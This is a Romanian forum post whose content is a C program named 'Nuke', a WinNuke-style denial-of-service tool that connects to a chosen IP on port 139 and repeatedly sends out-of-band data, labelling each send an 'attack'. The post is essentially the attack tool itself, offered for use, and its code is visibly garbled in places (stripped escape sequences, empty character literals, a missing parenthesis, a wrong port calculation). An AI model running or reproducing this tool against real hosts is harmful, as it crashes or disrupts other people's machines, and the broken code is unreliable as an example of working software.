CS-Apollo
Cs-Apollo
|
Nou pe simpatie: Aandreea
 | Femeie 24 ani Bucuresti cauta Barbat 25 - 52 ani |
|
|
CS-ApolloReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
#include <conio.h> #include <stdio.h> #include <winsock.h>struct { int port; char *targetIP; int NumOfAttact, BufSize;} parm;void Pause(void) { cprintf ("Apasati orice tasta pentru a renunta..."); getch(); cprintf ("rn"); } int CheckWinsock() { WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD(1, 1); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) return err; if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 ) { WSACleanup(); return -1; } return 0;}void ParseIP(char* des, char *theIP){ unsigned int val; char i; for (i = 0; i < 4; i++) { if (*theIP != '') { val = 0; while (*theIP != '' && *theIP != '.') { val *= 10; val += *theIP - '0'; theIP++; } des[i]= (char)val; if (*theIP != '') theIP++; } }} void ParseParm(int argc, char* argv[]){ char * value; for (int i=1; i<argc; i++){ if (argv[i][0]=='/'){ argv[i][1]= (char)toupper(argv[i][1]); value = &argv[i][2]; switch (argv[i][1]){ case 'P': parm.port = atoi(value); break; case 'T': parm.targetIP=value; break; case 'N': parm.NumOfAttact = atoi(value); break; case 'S': parm.BufSize = atoi(value); break; } } }} int main(int _argc, char* _argv[]){ int i, errcode; char *tempbuf; SOCKET theSocket; sockaddr theAddr; cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]rn" " port : portul tinta, folositi 139.rn" " target: adresa iP "a.b.c.d".rn" " num: numarul de atacuri, implicit 10.rn" " size: numarul de biti in fiecare atac, implicit 1024.rnn"); if (CheckWinsock()){ cprintf ("nu merge conexiunea!n"); Pause(); return 1; } theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (theSocket==-1){ cprintf ("nu merge conexiunea!rn"); Pause(); WSACleanup(); return 2; } cprintf ("folosim socket-ul: %drn", theSocket); parm.port = 139; parm.targetIP= NULL; parm.NumOfAttact = 10; parm.BufSize = 1024; ParseParm(_argc, _argv); if (parm.targetIP==NULL){ parm.targetIP = (char*) malloc(256); cprintf ("Introduceti Ip-ul: "); scanf ("%s", parm.targetIP); cprintf ("rn"); } theAddr.sa_family = AF_INET; theAddr.sa_data[0]= (char)(parm.port/256); theAddr.sa_data[1]= (char)(parm.port%6); ParseIP(&theAddr.sa_data[2], parm.targetIP; cprintf ("conexiune la %s pe portul: %drn", parm.targetIP, parm.port); errcode = connect (theSocket, &theAddr, sizeof(sockaddr)); if (errcode){ cprintf ("Eroare.rnVerificati daca portul este 'pazit' de un daemon.rn"); Pause(); WSACleanup(); return 1; } cprintf ("STATUS: Conectat!!rn"); tempbuf = (char*) malloc(parm.BufSize); for (i=0; i<parm.BufSize; i++) tempbuf[i]=0; for (i=0; i<parm.NumOfAttact; i++){ errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB); cprintf ("Atac: %d , trimis ", i); if (errcode==-1) cprintf ("eroare.rn"); else cprintf ("%d bytes.rn", errcode); } free (tempbuf); closesocket (theSocket); WSACleanup(); cprintf ("gata.rn"); Pause();
|
|
| |
|